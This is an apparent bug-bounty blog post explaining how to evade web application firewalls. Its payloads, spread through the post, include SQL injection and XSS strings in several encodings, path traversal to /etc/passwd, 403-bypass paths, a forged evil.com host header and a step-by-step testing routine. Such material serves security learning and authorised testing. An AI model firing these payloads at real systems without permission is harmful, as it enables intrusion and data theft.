Bypassing WAFs Like a Hacker🧙‍♂️: Tricks Hackers Use

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Bypassing WAFs Like a Hacker🧙‍♂️: Tricks Hackers Use

🌍 Introduction

Web Application Firewalls (WAFs) are like the bouncers at a nightclub. They stand at the door, checking IDs, making sure no shady payloads get inside.

But if you’ve been in bug bounty hunting or penetration testing long enough, you know one simple truth:

👉 Every WAF can be bypassed.

Just like a sneaky wizard slipping past magical barriers, hackers use clever payload obfuscation, encoding tricks, and 403 bypass techniques to slip their attacks through WAFs undetected.

• What WAFs are and how they work ⚔️

• Why bypassing them is essential for real-world hacking 💡

• The exact tricks hackers use (with payload examples 🧩)

• Tools, resources, and step-by-step bypass strategies 🛠️

• Case studies from bug bounty reports that earned $$$

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🛡️ What is a WAF?

A Web Application Firewall (WAF) is designed to filter, monitor, and block malicious HTTP requests.

They protect against:

• SQL Injection 🧾

• XSS Attacks 💉

• Remote File Inclusions 🌍

• Command Injection 🖥️

• Path Traversal 🗂️

Popular WAFs include:

• Cloudflare WAF

• AWS WAF

• Akamai Kona

• Imperva Incapsula

• F5 BIG-IP

While WAFs are good at stopping generic attacks, hackers know they’re not bulletproof.

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💡 Why Bypass WAFs?

• Bug Bounty Hunting → Companies use WAFs on bug bounty programs. To find valid vulnerabilities, you must slip past WAFs.

• Penetration Testing → Red teams often face hardened targets behind WAFs.

• Learning Offensive Security → Knowing bypasses = mastering payload crafting.

💰 Many high-paying bug bounty reports involve WAF bypasses. Hackers who know these tricks stand out from the crowd.

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🧙‍♂️ WAF Bypass Techniques: The Magic Arsenal

Now let’s break down the exact tricks hackers use.

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1. 🌀 Payload Obfuscation

The simplest and most effective method: changing how payloads look without changing how they work.

SQL Injection Example

Normal payload:

' OR '1'='1' --

Blocked by WAF ❌

Obfuscated version:

%27%20oR%20%271%27=%271

Or using case tricks:

' oR '1'='1

Or whitespace bypasses:

'/**/OR/**/'1'/**/=/**/'1

🔮 Lesson: WAFs look for patterns. Break the pattern, bypass the filter.

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2. 🧩 Case Manipulation

Some WAFs are case-sensitive. Changing keyword casing may bypass detection.

Example:

SeLeCt * FrOm users

or in XSS:

<ScRiPt>alert(1)</ScRiPt>

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3. 🛤️ Path Traversal Tricks

WAFs often try to block directory traversal (../). Hackers use encoding variations:

• Normal:

../../etc/passwd

• Encoded:

..%2F..%2Fetc/passwd

• Double encoding:

..%252F..%252Fetc/passwd

• UTF-8 encoding:

..%c0%af..%c0%afetc/passwd

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4. 🚪 403 Forbidden Bypasses

A favorite of hackers: bypassing access control restrictions.

Common tricks:

• Add trailing slashes:

/admin/

• Add dots:

/admin/.

• Add semicolons:

/admin;

• Double slashes:

//admin//

• URL-encoded slashes:

/%2e%2e/admin

🧙 Example: Researchers bypassed 403 protections on GitHub assets with a simple /. trick.

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5. 🧪 JSON & Content-Type Tricks

Changing content-type headers can sometimes bypass WAFs.

Example:

POST /login
Content-Type: application/json

Payload sent as JSON:

{"username":"admin' OR '1'='1","password":"pass"}

Or sending as application/xml, multipart/form-data.

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6. 🧹 Comment Injection

Splitting payloads with comments confuses WAFs.

SELECT/**/username/**/FROM/**/users

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7. 🔄 HTTP Verb Tampering

Some WAFs only filter GET and POST. Try other verbs:

• HEAD

• PUT

• PATCH

• OPTIONS

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8. 🌀 Host Header Manipulation

Tricking WAFs with multiple host headers.

Example:

Host: target.com
X-Forwarded-Host: evil.com

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9. 🧰 Tool-Assisted Bypasses

Tools hackers use:

• wafw00f → Detect WAF type.

• Turbo Intruder → Payload fuzzing.

• FFUF → Fuzzing for bypasses.

• Burp Suite Extensions → WAF bypass helpers.

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⚡ Step-by-Step Guide: Testing WAF Bypasses

1. Identify the WAF

wafw00f https://target.com

1. Start with Simple Payloads
   Test normal SQLi, XSS → confirm blocked.

2. Try Encoding
   Replace ' with %27, double encode, Unicode.

3. Play with Paths
   /admin, /admin/., /admin//.

4. Change Headers
   Use JSON, XML content types.

5. Automate
   Use Burp Intruder or Turbo Intruder to test multiple payload variations quickly.

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📚 Resources & Learning

• 🔗 PayloadsAllTheThings

• 🔗 SecLists

• 🔗 Awesome WAF Bypass

• 🔗 Bug Bounty Reports Explained

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📌 Connect With Us

• 🌐 Website:

https://thehackerslog.com/

• 📝 Substack:

• 🔗 LinkedIn: The Hackers Log

• ✍️ Medium: @vipulsonule71